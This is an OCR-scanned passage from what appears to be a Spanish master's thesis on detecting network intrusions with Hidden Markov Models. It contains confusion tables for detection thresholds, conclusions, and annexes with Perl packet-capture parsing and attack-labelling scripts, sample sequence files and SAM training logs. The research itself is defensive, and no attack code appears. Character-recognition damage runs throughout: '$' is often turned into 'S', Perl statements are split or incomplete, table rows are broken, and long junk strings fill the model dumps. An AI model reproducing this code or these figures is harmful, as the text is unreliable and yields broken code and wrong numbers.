incluyeron en el conjunto de prueba IDEVAL, las cuales no se repiten en los ataques
incluidos en esta prueba.

Los célculos de las tablas de confusion para los diferentes umbrales dieron los
siguientes resultados:

UMBRAL
1000 0 500
1000 0 495 5
999 1 493
999 1 485 15
999 1 479 21
999 1 472 28
998 12 453 47
998 2 440 60
998 2 409 91
986 14 377 123
986 14 333 167
986 14 198 302
983 17 21 479
983 17 15 485
977 23 15 485
977 23 10 490
965 35 8 492
965 35 8 492
438 562 7 493
388 612 7 493
0 1000 7 493
0 1000 7 493

Tabla 9. Resumen de Tablas de Confusién para los Umbrales seleccionados para las
Pruebas de Laboratorio
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Figura 52. Relacion de Falsos Positivos y Falsos Negativos para Pruebas de Laboratorio

Es claro que las curvas de falsos positivos y de falsos negativos son mucho mas
pronunciadas en este conjunto de prueba; a diferencia del anterior, el rango de
umbrales para los cuales el modelo presentaria un nivel de deteccion superior al 96%
(como se observa en la tabla) comprende varias unidades. Un examen rapido de la
tabla de confusion para los umbrales comprendidos entre 1 y 6 muestra que la cantidad
de falsos positivos y falsos negativos es muy pequefia, entre el 0.8% y el 1.7% del total
de ataques (Ver Figura 52Figura 1). Adicionalmente, resultados de la seccion 4.2.1
demostraron que la capacidad de clasificacion del modelo es maxima para umbrales
superiores a 1, de modo tal que la escogencia del umbral éptimo dependera
anicamente de los resultados de la tabla de confusién de ataques.

Si se clasifican los umbrales teniendo como criterio la menor cantidad de falsos
positivos y la menor cantidad de falsos negativos, el mejor resultado correspondera a
un umbral de 2, con 1.7% de falsos positivos, 1.5% de falsos negativos y 98.3% de
indice de deteccién. La matriz de confusién correspondiente es la siguiente:

MATRIZ DE CONFUSION

TOTAL
49 0 1 46 3 1 100
0 58 27 0 12 3 100
0 14 78 0 3 5 100
0 0 0 100 0 0 100
0 3 6 0 85 6 100
12 2 2 0 1 983 1000

Tabla 10. Matriz de Confusién para las Pruebas de Laboratorio
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Como se puede observar, para el umbral 6ptimo sélo el 3% del total de trafico normal
presente en las pruebas de laboratorio seria clasificado como ataque de manera
erronea, afectando el 1% del trafico de FTP Control, el 3% de FTP Data, el 5% de HTTP
y el 6% de Telnet. Es claro que el modelo presenta un mejor comportamiento para este
conjunto de trafico.
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5. CONCLUSIONES Y RECOMENDACIONES

Una vez recolectados y procesados los datos de trafico, a partir de la informacién
generada por el modelo de deteccidn de intrusos, se obtuvieron resultados importantes
gue conllevan a formular las siguientes conclusiones:

Los objetivos planteados para el presente trabajo se ven desarrollados de
manera efectiva en el presente documento a partir del planteamiento de un
modelo con dos caracteristicas, la capacidad de clasificar trafico de protocolos
conocidos y la capacidad de detectar intrusiones en trafico. Esto alineado con la
necesidad de generar esquemas novedosos para garantizar niveles altos de
seguridad de la informacion, los cuales, en cooperacion con otros esquemas,
brinden proteccion diferentes para los usuarios de redes de telecomunicaciones,
en especial, Internet.

No existe una solucion definitiva para asegurar los equipos conectados a las
redes de telecomunicaciones, dia tras dia aparecen nuevas formas de ataque y
nuevas motivaciones, se ha generado todo un nuevo estilo de criminalidad
asociada a las intrusiones en redes y sistemas de cémputo, de modo tal es
necesario mantener y fortalecer la investigacion en el campo de deteccion de
intrusos, mecanismos de implementacion eficiente en hardware y software y
esquemas de deteccidn en tiempo real. En ese orden de ideas esta propuesta de
modelo de deteccion es un esquema sustentado en la aplicabilidad de los
Modelos Ocultos de Markov en otras disciplinas, sin embargo su efectividad real
y sostenible en el tiempo solo puede ser cuantificada en una implementacion con
equipos dedicados.

Los tamafios de los paquetes y la representacion por porcentajes de tamarfos
muestran que los protocolos guardan fuertes similitudes que caracterizan los
paquetes, de modo tal que se pueden generar perfiles que se ajustan a cualquier
tipo de trafico y que pueden efectivamente clasificar trafico desconocido.
Adicionalmente, el hecho de sélo necesitar histogramas de tamafios para las
diferentes conversaciones hace que los requerimientos de almacenamiento de
datos para la implementacion del modelo sean muy bajos.

La aplicacion de un Modelo Oculto de Markov demostré ser una muy buena
alternativa para la deteccion de intrusos y el analisis de trafico desconocido en
redes que funcionen sobre la pila de protocolos IP. El esquema de entrenamiento
propio de los Modelos Ocultos de Markov hace que los periodos de tiempo
necesarios para la generacion de modelos nuevos y la re-calibracion de modelos
antiguos (medidos desde la cantidad de iteraciones necesarias para el
entrenamiento) sean muy breves permitiendo la constante evolucion del modelo
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al momento de la insercion de nuevas caracteristicas en los protocolos, como lo
pueden ser versiones nuevas o implementaciones disimiles.

El esquema propuesto de utilizacion de las frecuencias de tamafios de las
conversaciones en los diferentes protocolos para la generacion de secuencias y
el alineamiento con el Modelo, demostré tener una capacidad de deteccion de
ataques e intrusiones superior al 95%, lo que lo hace una muy buena alternativa
como producto de investigacion. Adicionalmente, la capacidad de modificar el
umbral de deteccibn lo hace un esquema practico al momento de una
implementacion comercial, brindando la posibilidad de bloquear todo el trafico o
permitirlo todo, de modo similar a los niveles de seguridad de varias soluciones
antivirus, firewall e IDS comerciales.

Al utilizar un esquema de clasificacion a partir de protocolos conocidos y que
pueden ser facilmente obtenibles, se encontré que el Modelo, aparte de brindar
capacidades de deteccion, también muestra unos niveles superiores al 50% de
clasificacion correcta de protocolos, sin embargo para 3 de los 5 protocolos los
niveles de deteccion, sin presencia de ataques son superiores al 75%, lo que
hace del modelo una buena alternativa para el filtrado de protocolos.

Se mostré que el modelo, a pesar de estar entrenado con trafico de un grado
considerable de antigiedad, es capaz de detectar ataques realizados en
entornos recientes y con herramientas modernas, lo que lleva implicito el hecho
de que los patrones de tamafios encontrados tienen perdurabilidad en el tiempo y
que la aparicion de protocolos nuevos no afecta negativamente el desempefio de
la clasificacion y deteccion con protocolos ya entrenados.

Dadas estas conclusiones, se recomienda:

Este trabajo surgi6 como un esfuerzo de aplicacion de conceptos de manera
interdisciplinar buscando fortalecer el area de Ingenieria de trafico y seguridad en
redes de la Maestria en Ingenieria de Telecomunicaciones de la Universidad
Nacional, durante el desarrollo se encontraron varias iniciativas de vincular
soluciones de distintas areas a la investigacion en deteccion de intrusos y
ataques en redes y protocolos, de modo tal se recomienda fomentar la
investigacién en esta area aprovechando la caracteristica multidisciplinar de los
estudiantes del programa y la ingente necesidad de avanzar en un area de clara
evolucion.

Durante el desarrollo del presente trabajo se encontraron mdultiples dificultades
para el uso de software orientado al entrenamiento de los modelos matematicos,
asi como también para aplicarlos en trafico de redes y en las pruebas del
modelo, asi mismo se encontraron muchos paquetes similares orientados a
disciplinas como reconocimiento gestual y de voz. Se propone el desarrollo de un
proyecto en donde se plantee un paquete de desarrollo para deteccion de
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intrusos a partir de Modelos Ocultos de Markov, el cual pueda ser facilmente
usado en plataformas modernas y que fomente asi la investigacion en el campo.

A partir del modelo planteado se abre la posibilidad de realizar una
implementacion que opere bajo un esquema de tiempo real de deteccion en el
cual se definan mecanismos para realizar el agrupamiento de secuencias y el
calculo de histogramas, asi como también la posibilidad de realizar un estudio
gue determine cantidad y caracteristicas que optimicen el entrenamiento de los
modelos, tanto en tiempo como capacidades.

En el inicio del proyecto se encontré una gran dificultad en encontrar trazas de
trafico recogidas bajo una estricta metodologia cientifica y con una calidad
aceptable, el conjunto de trazas de IDEVAL es, segun la busqueda realizada y
varios autores, la Unica fuente disponible para realizar pruebas sobre sistemas
de deteccion de intrusos de acceso publico. Se propone la creacion de un
laboratorio con el fin de generar un conjunto de trafico que pueda ser usado para
investigacion y que se ajuste a todo el espectro de trafico y protocolos de las
redes modernas con el fin de impulsar el campo y brindar un producto de calidad
para la comunidad académica internacional.
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7. ANEXOS

7.1. ANEXO A. CODIGO DE FILTRADO Y PRE PROCESAMIENTO

#Funcion para cambiar de Hexa a direcciones decimales
sub IPHexToDec{
my $dirIPHex = $ [0];
my @octetosDec = (0,0,0,0);
QoctetosDec[0] = hex substr ($dirIPHex, 0, 2)
QoctetosDec[1] hex substr ($dirIPHex,2,2);
QoctetosDec[2] hex substr ($dirIPHex, 4,2);
QoctetosDec[3] = hex substr ($dirIPHex, 6,2)
return @octetosDec;

I

’

}

#Constantes

SLLCSize = 54;
SLOOPSize = 118;
SARPSize = 60;
SHeadSize = 24;
$SSeparatorSize = 16;
SEthHeadSize = 14;
$IpHeadSize = 20;
#variables globales
Scurrpos = 0;

@vectC = (

@vectA = (
@readable
SaFlag = 0;

SbFlag = 0;

SprotoName = "";
{#Estadisticas

SIP = 0;

SARP = 0;

SLLC = 0;

SLOOP = 0;

STOTAL = 0;
ScantidadAIM = 0;
ScantidadFTPCONTROL = 0;
ScantidadFTPDATA = 0;
ScantidadHTTP = O
ScantidadHTTPS =
ScantidadSSH = 0;
ScantidadTelnet =
ScantidadSMTP = 0;
ScantidadPOP3 = 0
ScantidadX1l = 0;
}

#Archivos I/0
Sentrada ="".$ARGV[0];

print "Comenzando proceso y agrupamiento de ".S$Sentrada."\n";
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) ;
) ;
= ()

0;
0;

’



#Abro archivo

open (ENTRADA, S$Sentrada) || die "No se pude abrir archivo ".S$entrada;
open (BIBLIO, ">>library.data") || die "No se pude abrir archivo

library.data";

#Ubico puntero al inicio

seek (ENTRADA, $currpos, SEEK_SET) ;
#salto los 24bytes del cabezote DUMP

Scurrpos = Scurrpos + S$HeadSize;
seek (ENTRADA, S$currpos, SEEK SET);
#Recorrido
while (!'eof (ENTRADA)) {

STOTAL++;

#Lectura intertrama

read (ENTRADA, $interT, S$SeparatorSize);
($STimeStampSec, $TimeStampUSec, $PackLeng, SOriPackLeng)
("H8 H8 H8 H8", S$interT);

#muevo puntero

Scurrpos = S$currpos + $SeparatorSize;

seek (ENTRADA, S$currpos, SEEK SET);

#leo cabezote eth

read (ENTRADA, S$cabezoteEth, S$EthHeadSize);
($SEthDest, SEthSource, SEthType) = unpack ("H12
ScabezoteEth) ;

#determino salto

if (hex S$EthType == 40){ #tipo LLC
SLLC++;
Sincrement = S$SLLCSize;

}s

if (hex $EthType
SLOOP++;
Sincrement

= 36864){ #tipo loop

SLOOPSize;
}i
if (hex $EthType

= 2054){ #tipo ARP

SARP++;
Sincrement = $ARPSize;

bi

if (hex $EthType == 2048){ #tipo IP
SIP++;

#Inicializo banderas

SaFlag = 0;

SbFlag = 0;

#salto el cabezote Ethernet

$auxPos = Scurrpos + S$EthHeadSize;

seek (ENTRADA, SauxPos, SEEK SET);

#leo cabezote IP + TCP/UDP

read (ENTRADA, S$cabezotelIP, S$IpHeadSize+4);

= unpack

H12 H4",

($IpVerLen, S$IpTOS, S$IpTotLen, $Ipld, S$IpFlagOff, SIpTTL,

$IpProt, $IpCheckSum, $IpSource, $IpDest,S$PortS, $PortD)

unpack ("H2 H2 H4 H4 H4 H2 H2 H4 H8 H8 H4 H4", S$ScabezotelP);

Sincrement = (hex $IpTotLen) + S$EthHeadSize;
#Corrigo el salto si es necesario
if ($increment < 60) {S$increment = 60;};
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#HAf 4 trabajo sobre ip XD
#Saco las palabras identificadoras

$IdWord = $IpSource.S$PortS.S$IpDest.S$SPortD;
$IIdWord = $IpDest.S$PortD.S$IpSource.S$SPortS;
#Btisqueda en el indice

SFileNameB = "";
$FileName = "";
for ($1i=0; Si<@vectC; $i++) {
if ((QvectC[S$i] eq SIdWord) or (QvectC[$1i] eq
SIIdWord)) {
$aFlag = 1; #Ya existe la conversacion

SFileNameB = @vectA[S$i];
}i
}i

{#Marca de Protocolo en S$protoName

SprotoName = "None";
if (hex S$PortS == 5190 | hex S$PortS == 5191 | hex
SPortS == 5192 | hex $PortS == 5193 | hex S$PortD ==
5190 | hex S$PortD == 5191 | hex S$PortD == 5192 | hex
SPortD == 5193 ) {

SprotoName = "AIM";

ScantidadAIM++;
}i
if (hex $PortS == 21 | hex $PortD == 21){

SprotoName = "FTPCTRL";

ScantidadFTPCONTROL++;

}i

if (hex $PortS == 20 | hex $PortD == 20) {
SprotoName = "FTPDATA";
ScantidadFTPDATA++;

}i

if (hex $PortS == 80 | hex $PortS == 8008 | hex S$Port$S

== 8080 | hex S$PortD == 80 | hex $PortD == 8008 | hex

SPortD == 8080) {
SprotoName = "HTTP";
ScantidadHTTP++;

}i

if (hex $PortS == 443 | hex S$SPortD == 443) {
SprotoName = "HTTPS";
ScantidadHTTPS++;

}i

if (hex $PortS == 22 | hex S$PortD == 22){
SprotoName = "SSH";
ScantidadSSH++;

}i

if (hex $PortS == 23 | hex $PortD == 23){
SprotoName = "Telnet";
ScantidadTelnet++;

}i

if (hex $PortS == 25 | hex $PortD == 25){
SprotoName = "SMTP";
ScantidadSMTP++;

}i

if (hex $PortS == 110 | hex S$PortD == 110) {
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SprotoName = "POP3";

ScantidadPOP3++;

i

if (hex $PortS == 6000 | hex $PortD == 6000) {
SprotoName = "X11";
ScantidadX11l++;

}i
}
#Agrupamiento por conversaciones
if ($SaFlag == 0){ #NUEVA

#Agrego elemento nuevo al final

push (@vectC, $IdWord);
#Creacion de salida

@readable = IPHexToDec ($IpSource);

SReadableIPS

@readable([0] .".".Qreadable[l].".".@readable[2].".

adable[3];

@readable = IPHexToDec ($IpDest);

SReadableIPD

@readable[0].".".@readable[l].".".Qreadable[2].".

adable[3];
SReadablePS = hex S$PortS;
SReadablePD = hex S$PortD;

#Creacion de archivo de conversacion nueva
$FileName="Comm-[".$protoName."] ".SReadableIPS."-

".SReadablePS."-".SReadableIPD."-

fagrego el filename al indice

push (@vectA, $FileName) ;

open (GRUPO, ">>"_.S$FileName) || die "No se pude

archivo ".S$FileName;
#datos a escribir
Slongitud = hex $IpTotLen;

print GRUPO $longitud."\n";

’

close (GRUPO) ;

#Agrego nombre de archivo a la biblioteca
print BIBLIO $FileName."\n";

}else{#ANTIGUA

open (GRUPO, ">>".$FileNameB) || die "No se pude

archivo ".S$FileNameB;
#datos para agregar
Slongitud = hex $IpTotLen;

print GRUPO $longitud."\n";

’

close (GRUPO) ;
bi
}i
#Salto trama actual
Scurrpos = S$currpos + S$increment;
bi
#Cierro archivos
close (ENTRADA) ;
close (BIBLIO);
}
print "Agrupamiento por conversaciones terminado.
print "Comenzando traduccion a secuencias. \n";
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{#Traductor a SEQ
#archivo a procesar (contiene los nombres de todos los CVS creados)
Sentrada = "library.data";
Snumero = int (rand($ [0])*100000000) ;

#variables para histogramas

SnumData = 0;

@histograma = ();

#Datos de normalizacion

SmaxSize = 1500; #tamafio maximo de paquete

$binSize = 50; #tamafio de intervalo

fabre archivo de nombres

open (BIBLIO, S$entrada) || die "No se puede abrir archivo ".S$entrada;
#archivo de referencia cruzada para control

open (CROSS, ">>crossLib.data") || die "No se puede abrir archivo

crossLib.data";
#por cada nombre en el archivo de nombres
foreach $line (<BIBLIO>) {
chomp ($1ine); #retira el \n
#abre cada archivo
open (ARCHIVO, $line) || die "No se pude abrir archivo ".$line;
#retiro el protocolo
@test = split("Comm-",$line);
@test = split (" _",@test[1l]);
#archivo de secuencias de simbolos para cada protocolo
open (ESCRITOR, ">>".@test[0].".seqg") or die "No se pude abrir
archivo ".Q@test[0].".seq";
#limpia contadores
SnumData = 0;
@histograma = ();
#para cada linea del archivo CVS de tamafios
foreach $Size (<ARCHIVO>) {
chomp ($Size) ;
#datos totales para normalizar
SnumData += 1;
#tamafio del bin
Sbin = $maxSize/S$binSize;
#posicion del dato en la separacion
Sposition = int ($Size/S$bin);
#cuento el dato en su posicion respectiva
@histograma[S$Sposition] += 1;
}
close (ARCHIVO); #borro el archivo***
unlink (ARCHIVO) ;
#por cada dato del histograma
SnumeroP = sprintf ("$X", S$numero);
$SegName = @test[0].$numeroP;
print CROSS $SegName."->".S$line."\n";
print ESCRITOR ">".S$SegName."\n";
foreach $dato (@histograma) {
#Normalizo y cuantifico el dato
Sdato = int (($dato/SnumbData) *100) ;
#imprimo la secuencia normalizada y cuantificada
print ESCRITOR $dato." ";
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}

print ESCRITOR "\n\n";
close (ESCRITOR);
Snumero++;

}

close BIBLIO;

unlink BIBLIO;

close CROSS;

print "Traduccion terminada. \n";
print "Borrando Archivos temporales. \n";
{#Borrando CVS

}

print "Finalizacion de proceso, trazas listas para SAM.

@archivos[0]="swap.data";
@archivos[l]="1library.data";
open (BIBLIO, @archivos[1]) || die "No se

".@archivos([1];

foreach $line (<BIBLIO>) {
chomp ($1ine) ;
unlink ($line) ;

}

close BIBLIO;

unlink (@archivos[0]) ;

unlink (@archivos[1]);
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7.2. ANEXO B. CODIGO DE ETIQUETAMIENTO DE ATAQUES

sub TIME {
@months = gw(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec);
@weekDays = gw (Sun Mon Tue Wed Thu Fri Sat Sun);

($second, $minute, Shour, S$dayOfMonth, S$month, S$yearOffset, S$dayOfWeek,

$dayOfYear, $daylightSavings) = localtime();
Syear = 1900 + S$SyearOffset;

StheTime = "Shour:Sminute:$second, S$SweekDays[SdayOfWeek] S$months[$month]

$dayOfMonth, S$year";
return S$theTime;

}

S$libreria = "crossLib.data";

Sescritor = ">>cruzadas.data";

Sentrada = "tcpout.list";

$1i=0;

open (LIBRARY, $libreria) || die "No se puede abrir archivo ".$libreria;
open (LISTA, S$entrada) || die "No se puede abrir archivo ".S$entrada;

open (ESCRITOR, S$escritor) || die "No se puede crear archivo ".S$escritor;

Stiempo = TIME () ;
print $tiempo."\n";

foreach $line (<KLISTA>) {
chomp ($1line); #retira el \n

@linealista split (/ /,$line); #Separe por espacios

if (@linealista[ll] ne "-"){ #Encuentre el ataque (que no sea '-"')
#Ips y Puertos relacionados
#print @linealListal[]."\n";

SIpDest = @linealistal9];
$IpSrc = @linealistal8];
SPortDest = @linealListal7];
SPortSrc = @linealistal[6];
#
@IpDestino
@IpDestino
@IpDestino
@IpDestino
@IpDestino
@IpFuente
@IpFuente
@IpFuente
@IpFuente
@IpFuente
#Palabras de busqueda
SIpDest

(/\./,$IpDest);

(/\./,$IpSrc);

WN RO | ——— -

[
[
[
[

@IpDestino[0].".".@IpDestino[1l].".".Q@IpDestino[2].".".@IpDestino[3

1:
$IpSrc

@IpFuente[0].".".@IpFuente[l].".".@IpFuente[2].".".Q@IpFuente[3];
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@palabra([$i] = $IpDest."-".$PortDest."-".$IpSrc."-".$PortSrc;

#Guarda las direcciones
@ataque[$i] = Q@linealLista[ll]; #Guarda los ataques
@indices[$i] = ""; #Guardara los indices
$i = S$1i + 1;
bi
bi
print $i."\n";
$k = 0;
foreach $line (<KLIBRARY>) {
chomp ($1line); #retira el \n

@claves = split ('->',$line);

#print Q@claves[0]."\n"; #Aca estan las claves

@temporal = split (' ',@claves[l]);

@direcciones = split ('.csv',@temporallll]);

#print @direcciones[0]."\n"; #aca estan las direcciones completas
@bigWords = split('-"',@direcciones[0]);

#Construyo las palabras de busqueda

SWord = @bigWords[0]."-".Q@bigWords[1l]."-".Q@bigWords([2]."-".@bigWords[3];
$IdWord = @bigWords[2] ."-".@bigWords[3]."-".Q@bigWords[0].

".@bigWords[1];
#Busca la palabra para cada ataque
for($j = 0; $3 < $i; $j++) |
Sprueba = @palabra($j];
if ((Sprueba eqg $Word) or ($prueba eq $IdWord)) {
@indices[$j]l=Q@claves[0]; #Guarda los indices

@nombresArch = split (']',S$line);

print ESCRITOR @ataque[$j]."=".@claves[0].
>" @direcciones[0]." en ".@nombresArch[0]."].seqg\n";

Sk++;

}
}
print $k."\n";
Stiempo = TIME () ;
print S$tiempo."\n";
close (LIBRARY);
close (LISTA);
close (ESCRITOR) ;
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7.3. ANEXO C. EJEMPLO DE ARCHIVOS DE SECUENCIAS

>[Telnet]5E54157
0770 00300000000000OO0O0COO0O0OOOOO0COODOOOOOCOOOQO
00000O0O0O0OO0OO0OOOO0O 17

>[Telnet]5E549F7
072221101 0002000000010000000000010000
0000O0O0OODO0OOOOOGO 013

>[Telnet]5E549F8
086 000500000000 000000O0ODO0OODOODOOODOODOS500DO
0000O0O0O0OODOOOODOO0OS5

>[Telnet]5E54A21
084 6 2000000000CO0OD0D00D000D00D000200000000200
0000O0OO0OO0OOOCOOO0OO02

>[SMTP]260E615
05236440000000000000000000000000000 4

>[SMTP]260E616
0 5037440000000000000000000000O0O0O0CO0O0OO0A14

>[SMTP]260E6E0
044 44 440000000000000000000O0O0TO0 4

>[SMTP]260E83B
0473944000000000000000000000000O014

>[HTTP]3C1349A
05000000006 0000006 0000000O0DO0OOLOODODOO0ODOO0OD
000O0OO0OO0OOOOOSOOTQO 31

>[HTTP]24251B5
07700000011 000000000000000O00O0O0 11

>[HTTP]211DD2D
066 000000800 000000000000O0OO0OO0OO0OOOGOLOLOGLOLOOO
000008000O0O0OO0O0O0O 16

>[HTTP]211DD2E
077 000O0O0O011 000000O0DO0O0OO0OO0OO0OBOOOSQ 011

>[FTPDATA]2D66BE2
0 87 0 12

>[FTPDATA]2D67005
052 00000000000000C0O00OO05500000O00O0O00O0C0O0O0C0Q0
00000O0OO0COOOOOOO0 42

>[FTPDATA]2D67006

103



077000000011 0000000COOO0OODO0COO0OODOODODOOOODO
00000O00O0OO0CO0OOO0OGO0TI11

>[FTPDATA]2D67007
0770000000000012 0000C0O0O0O0CODOCOO0OODOODODOOOODO
000000O0COOO0OO0OOOO0O11

>[FTPCTRL]B23F13
0 48 39 10 0

>[FTPCTRL]B23FDE
0 36 50 12 1

>[FTPCTRL]B24168
0 55 34 7 2

>[FTPCTRL]B24344
0 44 42 11 1
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7.4. ANEXO D. ARCHIVOS DE ENTRENAMIENTO DE SAM

7.4.1. FTP CONTROL

SAM: buildmodel v3.5 (July 15, 2005) compiled 07/15/05 11:25:30
(c) 1992-2001 Regents of the University of California, Santa Cruz

o o° oP

oe

Sequence Alignment and Modeling Software System
http://www.cse.ucsc.edu/research/compbio/sam.html

o0 o

o°

————————————————— Citations (SAM, SAM-T2K, HMMs) —-—-—-—————————————————
R. Hughey, A. Krogh, Hidden Markov models for sequence analysis:
Extension and analysis of the basic method, CABIOS 12:95-107, 1996.
K. Karplus, et al., What is the value added by human intervention in protein
structure prediction, Proteins: Stucture, Function, Genetics 45(S5):86--91,
001.
A. Krogh et al., Hidden Markov models in computational biology:
Applications to protein modeling, JMB 235:1501-1531, Feb 1994.
FTPCTRL Host: ubuntu Sat Sep 26 13:15:08 2009
edsheut Dir: /home/edsheut/Escritorio/Muestras 1000

o© oo

o\

oC o0 o A o° o N o

o\

Internal sequence weighting method 1
Regularizer FIM method train training letter frequencies (1)
Regularizer Insert method train training letter frequencies (1)
Model initial FIM method train training letter frequencies (1)
Model initial insert method train training letter frequencies (1)
Generic, Insert, and FIM tables dynamically reset to

train reset inserts geometric mean of match probabilities (6)
All models generated from regularizer.
Subsequence-submodel (local) (SW = 2)
Simple scores adjusted by +1.5*1n(seq len) (adjust score = 2)
Track 0 FIMs added (geometric mean of match probabilities (6))

o A° Ad° O° A A O° o° o° o

o\

% Model lengths: 5 5 5
% Itera- Average
% tion distance
% 1 9.491 9.199 8.969
% 2 11.463 11.302 11.300
% 3 10.725 10.671 10.481
% 4 9.526 10.203 9.641
% 5 9.285 9.444 9.315
% 6 9.140 9.740 9.449
% 7 9.173 9.190 9.349
% 8 9.135 9.819 9.278
% 9 9.397 9.217 9.105
% 10 9.112 9.079 9.293
% 11 9.308 9.286 9.355
% 12 9.257 9.168 9.261
% 13 9.235 9.129 9.230
% 14 9.226 9.125 9.222
|

o

Model 1 (counting from 0) wins!!



o

TRAIN 800 sequences

(average length 4).

Distance statistics...

% Min: -7.79 (267) Max: -0.42 (789) Ave: -5.66 SampDev: 1.82
% MinSDs: -1.17 MaxSDs: 2.88

% Final distance to TEST set: 9.588

% TEST 200 sequences (average length 4). Distance statistics...

% Min: -8.28 ( 16) Max: -0.93 ( 55) Ave: -5.63 SampDev: 2.31
% MinSDs: -1.15 MaxSDs: 2.04
% Total CPU time: user 0: 0: 1 system 0: 0: 0

o\

Finished at:

o oo oo

o

trainseed 0

% randseed 0

train FTPCTRL.seq
alphabet def Numbers 101
Ntrain 800

stopcriterion 0.010000
nsurgery 100

anneal length 10.000000
initial noise 1.000000
mainline cutoff 0.300000
SWw 0

Insert method train 1

MODEL -- Final model for run FTPCTRL
alphabet def Numbers 101

GENERIC

1.886984 0.254944 0.376488

1.819972 15.521340 3.764209

0.225758 0.265967 4.006562

0.249802 0.109432 0.026591 0.001790 0
0.003068 0.001790 0.028381 0.057529 0
0.006648 0.034006 0.050625 0.001279 0
0.001023 0.000512 0.000256 0.000000 O
0.000256 0.000256 0.000512 0.000256 0
0.001023 0.001023 0.001279 0.004091 0
0.014063 0.020455 0.010228 0.011250 0
0.023012 0.007671 0.005370 0.008949 0
0.005881 0.011762 0.021989 0.028125 0
0.008693 0.006392 0.013296 0.006648 0
0.013296 0.002046 0.003068 0.007926 0
0.018154 0.007671 0.014830 0.018665 0
0.007671 0.004347 0.002301 0.000512 0
0.000767 0.000767 0.000000 0.000256 0
0.000256 0.000512 0.000000 0.000000 O
0.000256 0.000256 0.000256 0.001023 O

Sat Sep 26 13:15:09 2

009

Parameters from command line and insert files:

(internally generated FIMs removed)

.000512
.019176
.000767
.000000
.000512
.013807
.012273
.006137
.027870
.005625
.008949
.012784
.000512
.000000
.000000
.000000
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.000256
.000256
.000000
.000000
.249802
.003068
.006648
.001023
.000256
.001023
.014063
.023012
.005881
.008693
.013296
.018154
.007671
.000767
.000256
.000256
.000256
.000256
.000000
.000000
ETTCOUNT
.000000
.000000
.000000
.249802
.003068
.006648
.001023
.000256
.001023
.014063
.023012
.005881
.008693
.013296
.018154
.007671
.000767
.000256
.000256
.000256
.000256
.000000
.000000
.249802
.003068
.006648
.001023
.000256
.001023

ecleoloNoNoNoNoNoNoNoNoloNoNolNoNoNoNololololNolNolNo

cNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNolNol sNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNolNoNoNolNoNoNoNolNe)

oNeoNoNoloRoloNoNoNoNoloholBololNoNoNolNoNololololNolNolNolNolNolNo]

.000000
.000000
.000000
.000000
.109432
.001790
.034006
.000512
.000256
.001023
.020455
.007671
.011762
.006392
.002046
.007671
.004347
.000767
.000512
.000256
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.109432
.001790
.034006
.000512
.000256
.001023
.020455
.007671
.011762
.006392
.002046
.007671
.004347
.000767
.000512
.000256
.000000
.000000
.000000
.000000
.109432
.001790
.034006
.000512
.000256
.001023

cleoBoNoNoNoNoNoNoNoNoloNoNolNoNoNoNololololNolNolNo

oNeoNoNoloRolNoNoNoNoNoNoholololNoNoNoNoNololololNolNolNolNolNolNo]

.000000
.000512
.000000
.000000
.026591
.028381
.050625
.000256
.000512
.001279
.010228
.005370
.021989
.013296
.003068
.014830
.002301
.000000
.000000
.000256
.000000
.000512
.000000
.000000

.000000
.000000
.000000
.026591
.028381
.050625
.000256
.000512
.001279
.010228
.005370
.021989
.013296
.003068
.014830
.002301
.000000
.000000
.000256
.000000
.000512
.000000
.000000
.026591
.028381
.050625
.000256
.000512
.001279

cleoBoNoNoNoNoNoNoNoNoloBoNolNoNoNoNololololNolNolNo

[eNeoNoNoloRololNoNoNoNoNoNoloBoloNoNoNoNolNololololNelNo)

.000000
.000000
.000000
.000000
.001790
.057529
.001279
.000000
.000256
.004091
.011250
.008949
.028125
.006648
.007926
.018665
.000512
.000256
.000000
.001023
.000000
.000000
.000000
.000000

.001790
.057529
.001279
.000000
.000256
.004091
.011250
.008949
.028125
.006648
.007926
.018665
.000512
.000256
.000000
.001023
.000000
.000000
.000000
.000000
.001790
.057529
.001279
.000000
.000256
.004091

cleoBoNoNoNoNoNoNoNoNoloBoNolNoNoNoNololololNolNolNo

[eNeoNoNoloRololoNoNoNoNoNoloBoloNoNoNoNolNololololNelNo)

.000000
.000000
.000000
.000000
.000512
.019176
.000767
.000000
.000512
.013807
.012273
.006137
.027870
.005625
.008949
.012784
.000512
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.000512
.019176
.000767
.000000
.000512
.013807
.012273
.006137
.027870
.005625
.008949
.012784
.000512
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000512
.019176
.000767
.000000
.000512
.013807
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.014063
.023012
.005881
.008693
.013296
.018154
.007671
.000767
.000256
.000256
.000256
.000256
.000000
.000000
REQAVE

.000000
.000000
.000000
.024847
.001756
.009316
.000002
.000002
.002521
.024176
.019743
.011962
.012368
.022025
.020991
.009693
.001332
.000002
.000677
.000002
.000002
.000002
.000002
.024847
.001756
.009316
.000002
.000002
.002521
.024176
.019743
.011962
.012368
.022025
.020991
.009693
.001332
.000002
.000677

ocNeoNoNeoNoRoNoNoNoNoNoNoNoNoRoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoll: NoNoNoNoNoNoNoNoNolNoNoNolNolNo]

O O OO OO ODOOOOoo oo

[eNoNoNoBoNoNoNololoBoNololNoBoNololNololNoBoNoNoNolNoNoNolBoNololNololNololololNeolNolNe]

.020455
.007671
.011762
.006392
.002046
.007671
.004347
.000767
.000512
.000256
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.155820
.006270
.038412
.001512
.001511
.001562
.040321
.011542
.010710
.010481
.002345
.018384
.005531
.000034
.000429
.000002
.000002
.000002
.000002
.000002
.155820
.006270
.038412
.001512
.001511
.001562
.040321
.011542
.010710
.010481
.002345
.018384
.005531
.000034
.000429
.000002

O O OO OO ODOO OO o oo

[eNoNoNoBoNoNolNololoBoNolBolNoBoNololNololololNoNoNolNoNoNolBoNoloNololNololololNeolNolNe]

.010228
.005370
.021989
.013296
.003068
.014830
.002301
.000000
.000000
.000256
.000000
.000512
.000000
.000000

.000000
.000000
.000000
.035471
.034717
.059968
.000002
.001453
.000166
.019403
.000838
.010072
.015206
.000261
.021746
.002813
.000002
.000132
.000002
.000002
.000002
.000002
.000002
.035471
.034717
.059968
.000002
.001453
.000166
.019403
.000838
.010072
.015206
.000261
.021746
.002813
.000002
.000132
.000002

O O OO OO ODOOOOoo oo

